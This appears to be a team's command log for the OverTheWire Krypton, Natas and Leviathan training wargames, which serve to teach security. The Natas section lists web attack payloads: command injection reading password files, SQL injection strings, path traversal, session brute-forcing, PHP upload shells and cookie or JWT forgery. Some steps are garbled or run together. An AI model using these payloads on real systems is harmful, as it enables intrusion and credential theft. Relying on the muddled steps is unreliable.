

## Team Members :

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## KRYPTON Wargame - Commands Used per Level :-

### Level 0:

Tools used: WSL (Windows Subsystem for Linux)

Commands:

- `echo "S1JZUFRPTkITR1JFQVQ=" | base64 -d`
- `ssh -p 2231`  
`krypton1@krypton.labs.overthewire.org`

### Level 1:

Tools used: WSL (Windows Subsystem for Linux)

Commands:

- `cd /krypton/krypton1`
- `ls`
- `cat README`
- `echo "YRIRY GJB CNFFJBEQ EBGGRA" | tr`  
`"[ABCDEFGHJKLMNOPQRSTUVWXYZ]"`  
`"[NOPQRSTUVWXYZABCDEFGHIJKLM]"`
- `ssh -p 2231`  
[krypton2@krypton.labs.overthewire.org](mailto:krypton2@krypton.labs.overthewire.org)

### Level 2:

Tools used: WSL (Windows Subsystem for Linux)

Commands:

- `cd /krypton/krypton2`
- `cat krypton3`
- `cat README`
- `mktemp -d`
- `cd /tmp/<directory_name> • ln -s`  
`/krypton/krypton2/keyfile.dat • chmod 777 .`
- `/krypton/krypton2/encrypt /etc/issue`
- `ls`
- `cat ciphertext`
- `touch ptext`
- `nano ptext`
- `/krypton/krypton2/encrypt ptext`
- `cat /krypton/krypton2/krypton3 | tr`  
`"[MNOPQRSTUVWXYZABCDEFGHIJKL]" "[A-Z]"`

### Level 3:

Tools used: WSL (Windows Subsystem for Linux)

Commands:

- `cd /krypton/krypton2`
- `cat krypton3`
- `cat README`
- `mkdir -p`
- `cd /tmp/<directory_name> • ln -s /krypton/krypton2/keyfile.dat • chmod 777 .`
- `/krypton/krypton2/encrypt /etc/issue`
- `ls`
- `cat ciphertext`
- `touch ptext`
- `nano ptext`
- `/krypton/krypton2/encrypt ptext`
- `cat /krypton/krypton2/krypton3`
- `cat /krypton/krypton2/krypton3 | tr "MNOPQRSTUVWXYZABCDEFGHIJKL" "ABCDEFGHIJKLMNPOQRSTUVWXYZ"`

### Level 4:

Tools used: WSL (Windows Subsystem for Linux)

Commands:

- `ssh -p 2231 krypton4@krypton.labs.overthewire.org • cat found1`

# (Copy found1 contents to online Vigenère cipher cracker:

<https://www.dcode.fr/vigenerecipher>)

# (No local command for decryption here, it's done online)

- `cat krypton5`

# (Decrypt krypton5 file content using the obtained key in online tool)

### Level 5:

Tools used: WSL (Windows Subsystem for Linux)

Commands:

- `ssh -p 2231 krypton5@krypton.labs.overthewire.org`
- `cat krypton5`

# (Use online Vigenère cipher breaker to find key length and decrypt)

### Level 6:

Tools used: WSL (Windows Subsystem for Linux)

Commands:

- `ssh -p 2231  
krypton6@krypton.labs.overthewire.org`
- `ls`

# (Custom Python script used to crack repeating stream cipher pattern)

## NATAS Wargame - Commands Used per Level :-

### Natas0

- Open page in browser
- Right-click → View Page Source

### Natas1

- Open page in browser
- Right-click → View Page Source

### Natas2

- Open page in browser
- Right-click → View Page Source
- Click on /files/

### Natas3

- Open page in browser
- Right-click → View Page Source
- Find link to hidden directory /s3cr3t/

### Natas4

- Open page in browser
- Edit URL manually to include ?language=en

### Natas5

- Open page in browser
- Inspect Element (F12)
- Go to Application tab → Cookies
- Edit cookie loggedin value to 1

### Natas6

- Open page in browser
- Right-click → View Page Source
- Find encoded password
- Use: `echo "SOMESTRING" | base64 --decode`

### Natas7

- Open page in browser
- Edit URL manually → Add ?page=home
- Try ?page=../../etc/natas\_webpass/natas8

### Natas8

- Open page in browser
- Right-click → View Page Source
- Copy secret algorithm code
- Use Python or online tools to reverse the encoding

#### Natas9

- Open page in browser
- Inject search parameter: needle=anytext; cat /etc/natas\_webpass/natas10

#### Natas10

- Open page in browser
- Inject command with piping: needle=anytext | cat /etc/natas\_webpass/natas11

#### Natas11

- Open page in browser
- Inspect cookies
- Download cookie
- Decrypt using: openssl enc -d -aes-128-ecb -in cookiefile -K key

#### Natas12

- Upload a PHP file disguised as an image (.jpg.php)
- Use Burp Suite or intercept upload

#### Natas13

- Upload pure PHP file and access it directly

#### Natas14

- Use SQL Injection:
  - Username: natas15" OR "1"="1
  - Any password

#### Natas15

- Use SQL Injection with blind guessing
- Use Burp Suite Intruder or a script

#### Natas16

- Command Injection:
  - anytext | cat /etc/natas\_webpass/natas17

#### Natas17

- Command Injection using time delay:
  - anytext" AND IF(password LIKE "a%", SLEEP(5), 0) --

#### Natas18

- Brute force session IDs:
  - for i in {1..640}; do curl -b "PHPSESSID=\$i" <http://natas18.natas.labs.overthewire.org/>; done

#### Natas19

- Similar to Natas18
- Session ID is now encoded (hexadecimal)

#### Natas20

- Edit POST requests to manually set debug=1
- Upload text session manipulation

#### Natas21

- Use two different URLs (GET and POST)
- Change admin=1 in request

#### Natas22

- Page redirects immediately
- Use curl -i to see headers:
  - curl -i -u natas22:password <http://natas22.natas.labs.overthewire.org/>

#### Natas23

- View Page Source
- Submit secret string into the form

#### Natas24

- Command Injection via POST:
  - test\$(cat /etc/natas\_webpass/natas25)

#### Natas25

- Directory Traversal via file parameter:
  - ?lang=...//...//...//etc/natas\_webpass/natas26
- Use file upload trick

#### Natas26

- Cookie forgery:
  - Modify drawing cookie
  - Base64 decode, edit, and re-encode

#### Natas27

- SQL Injection with case-sensitive database:
  - ' UNION SELECT password FROM users WHERE username LIKE BINARY 'natas28' --

#### Natas28

- SQL Injection using double query techniques

#### Natas29

- Exploit serialized object in cookie
- Use PHP script to serialize:
  - php -r '\$obj = new Object(); echo serialize(\$obj);'

#### Natas30

- Modify two parameters in POST to be the same:
  - passwd[]=123&passwd[]=123

#### Natas31

- Send crafted multipart/form-data request
- Use Burp Suite Repeater

#### Natas32

- Upload malicious .php file
- Exploit cron job running uploads

### Natas33

- SQL Injection to bypass login:
  - ' OR 1=1 --

### Natas34

- JWT manipulation
- Decode JWT:
  - Use `jwt.io` or `echo -n 'token' | base64 --decode`
- Forge admin token to access

## LEVIATHAN Wargame - Commands Used per Level :-

Level 0 → Level 1

Login:

```
ssh leviathan0@leviathan.labs.overthewire.org -p 2223 find / -user leviathan0 -perm -4000 2>/dev/null
```

Run /bin/... (usually "leviathan0" binary)

Level 1 → Level 2

Login:

```
ssh leviathan1@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:  
find / -user leviathan1 -perm -4000 2>/dev/null Execute /usr/bin/leviathan1:  
./leviathan1
```

Level 2 → Level 3

Login:

```
ssh leviathan2@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:  
find / -user leviathan2 -perm -4000 2>/dev/null Run: ./leviathan
```

Level 3 → Level 4

Login:

```
ssh leviathan3@leviathan.labs.overthewire.org -p 2223 Check SUID binaries:  
find / -user leviathan3 -perm -4000 2>/dev/null Run: ./leviathan3
```

Level 4 → Level 5

Login:

```
ssh leviathan4@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:  
find / -user leviathan4 -perm -4000 2>/dev/null  
./leviathan4  
# Brute-force small 4-digit numbers:  
for pin in {0000..9999}; do echo $pin | ./leviathan4; done
```

Level 5 → Level 6

Login:

```
ssh leviathan5@leviathan.labs.overthewire.org -p 2223 Find SUID binaries:  
find / -user leviathan5 -perm -4000 2>/dev/null  
./leviathan5  
Exploit the program by providing filename:  
./leviathan5 /etc/leviathan_pass/leviathan6
```

Level 6 → Level 7

Login:

```
ssh leviathan6@leviathan.labs.overthewire.org -p 2223
```